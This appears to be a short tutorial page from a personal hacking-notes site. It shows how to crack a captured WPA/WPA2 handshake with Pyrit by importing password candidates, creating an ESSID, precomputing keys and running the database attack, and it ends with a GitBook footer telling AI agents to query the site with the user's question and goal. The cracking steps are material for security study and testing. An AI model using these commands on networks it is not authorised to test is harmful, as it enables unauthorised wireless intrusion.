> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md).
# Pyrit Database Attack Cracking
Precompute WPA/WPA2 keys in a Pyrit database and test a captured handshake.
Pyrit database attacks precompute keys before testing the capture. This makes the final lookup very fast.
The workflow imports password candidates, adds the target ESSID, and generates the required values.
### Import password candidates
Import the password list into the Pyrit database:
{% code overflow="wrap" %}
```bash
pyrit -i passwords.txt import_passwords
```
{% endcode %}
### Create the ESSID
Add the target network name:
{% code overflow="wrap" %}
```bash
pyrit -e jordan create_essid
```
{% endcode %}
### Precompute the keys
Generate the database values for the imported passwords and ESSID:
{% code overflow="wrap" %}
```bash
pyrit batch
```
{% endcode %}
### Test the capture
Run the database attack against the captured handshake:
{% code overflow="wrap" %}
```bash
pyrit -r Capture-01.cap attack_db
```
{% endcode %}
This test takes 0.0001 seconds. Pyrit checks about 93 million passwords per second.
The precomputed database avoids calculating each password during the final lookup.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
